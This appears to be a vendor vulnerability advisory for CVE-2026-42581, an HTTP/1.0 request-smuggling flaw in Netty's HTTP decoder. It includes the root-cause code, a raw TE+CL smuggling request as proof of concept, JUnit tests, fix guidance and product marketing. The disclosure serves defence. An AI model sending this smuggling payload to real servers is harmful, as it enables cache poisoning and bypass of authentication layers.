Summary
Netty HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization
NETTY HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization
| Field | Value |
|---|---|
| Library | io.netty:netty-codec-http |
| Component | codec-http, HttpObjectDecoder |
| Severity | HIGH |
| Affects | HEAD, commit 4f3533ae confirmed |
HttpObjectDecoder strips a conflicting Content-Length header when a request carries both Transfer-Encoding: chunked and Content-Length, but only for HTTP/1.1 messages. The guard is absent for HTTP/1.0. An attacker that sends an HTTP/1.0 request with both headers causes Netty to decode the body as chunked while leaving Content-Length intact in the forwarded HttpMessage. Any downstream proxy or handler that trusts Content-Length over Transfer-Encoding will disagree on message boundaries, enabling request smuggling.
Root Cause
// HttpObjectDecoder.java:828-833
if (HttpUtil.isTransferEncodingChunked(message)) {
this.chunked = true;
if (!contentLengthFields.isEmpty() && message.protocolVersion() == HttpVersion.HTTP_1_1) {
handleTransferEncodingChunkedWithContentLength(message); // strips CL, HTTP/1.1 only
}
return State.READ_CHUNK_SIZE;
}
// HttpObjectDecoder.java:870-873
protected void handleTransferEncodingChunkedWithContentLength(HttpMessage message) {
message.headers().remove(HttpHeaderNames.CONTENT_LENGTH);
contentLength = Long.MIN_VALUE;
}
The conflict-resolution path is gated on message.protocolVersion() == HttpVersion.HTTP_1_1. When the request declares HTTP/1.0, the condition is false, handleTransferEncodingChunkedWithContentLength is never called, and the Content-Length header survives into the forwarded message. Netty still processes the body as chunked; a downstream component that is CL-first interprets the same bytes as a separate request.
Proof of Concept
POST /api HTTP/1.0\r\n
Host: internal.example.com\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 0\r\n
\r\n
5\r\n
GPOST\r\n
0\r\n
\r\n
Netty consumes the full chunked body (5 bytes + terminator). A downstream CL-first proxy reads Content-Length: 0, considers the request complete at the blank line, and treats 5\r\nGPOST\r\n0\r\n\r\n as the start of a second request.
Conditions Required
- Netty is deployed behind a reverse proxy or load balancer that is
Content-Length-first (nginx, some HAProxy configs, AWS ALB in certain modes). - Attacker can send HTTP/1.0 requests (either directly or by downgrading via connection manipulation).
- No additional HTTP/1.0 stripping layer between attacker and Netty.
Confirmed PoC Test
Verified against HEAD (4f3533ae) using EmbeddedChannel. Both tests pass, confirming the vulnerability and the HTTP/1.1 contrast.
package io.netty.handler.codec.http;
import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.util.CharsetUtil;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.*;
public class NettySmugglingSec001Test {
// VULNERABLE: Content-Length survives in HTTP/1.0 TE+CL conflict
@Test
public void http10_contentLengthNotStripped() {
EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder());
ch.writeInbound(Unpooled.copiedBuffer(
"POST /api HTTP/1.0\r\n" +
"Transfer-Encoding: chunked\r\n" +
"Content-Length: 0\r\n" +
"\r\n" +
"5\r\nGPOST\r\n0\r\n\r\n", CharsetUtil.US_ASCII));
HttpRequest req = ch.readInbound();
assertEquals(HttpVersion.HTTP_1_0, req.protocolVersion());
// Content-Length: 0 survives, downstream CL-first proxy treats chunked body as new request
assertNotNull(req.headers().get(HttpHeaderNames.CONTENT_LENGTH), "VULNERABLE: CL not stripped");
ch.finishAndReleaseAll();
}
// SAFE: HTTP/1.1 correctly strips Content-Length on TE+CL conflict
@Test
public void http11_contentLengthStripped() {
EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder());
ch.writeInbound(Unpooled.copiedBuffer(
"POST /api HTTP/1.1\r\n" +
"Transfer-Encoding: chunked\r\n" +
"Content-Length: 0\r\n" +
"\r\n" +
"5\r\nGPOST\r\n0\r\n\r\n", CharsetUtil.US_ASCII));
HttpRequest req = ch.readInbound();
assertNull(req.headers().get(HttpHeaderNames.CONTENT_LENGTH), "SAFE: CL correctly stripped");
ch.finishAndReleaseAll();
}
}
Fix Guidance
Remove the message.protocolVersion() == HttpVersion.HTTP_1_1 guard in HttpObjectDecoder, applying handleTransferEncodingChunkedWithContentLength unconditionally whenever both Transfer-Encoding: chunked and Content-Length are present, regardless of protocol version.
Impact
Request smuggling at the Netty edge. Allows cache poisoning, session fixation against other users, unauthorized access to internal endpoints, and bypassing of WAF or authentication layers that inspect only the first logical request.
CVE-2026-42581 has a CVSS score of 5.8 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.2.13.Final, 4.1.133.Final); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
io.netty:netty-codec-http to 4.2.13.Final or later; io.netty:netty-codec-http to 4.1.133.Final or later
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-42581? CVE-2026-42581 is a medium-severity security vulnerability in io.netty:netty-codec-http (maven), affecting versions >= 4.2.0.Alpha1, <= 4.2.12.Final. It is fixed in 4.2.13.Final, 4.1.133.Final.
- How severe is CVE-2026-42581? CVE-2026-42581 has a CVSS score of 5.8 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of io.netty:netty-codec-http are affected by CVE-2026-42581? io.netty:netty-codec-http (maven) versions >= 4.2.0.Alpha1, <= 4.2.12.Final is affected.
- Is there a fix for CVE-2026-42581? Yes. CVE-2026-42581 is fixed in 4.2.13.Final, 4.1.133.Final. Upgrade to this version or later.
- Is CVE-2026-42581 exploitable, and should I be worried? Whether CVE-2026-42581 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-42581 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-42581?
- Upgrade
io.netty:netty-codec-httpto 4.2.13.Final or later - Upgrade
io.netty:netty-codec-httpto 4.1.133.Final or later
- Upgrade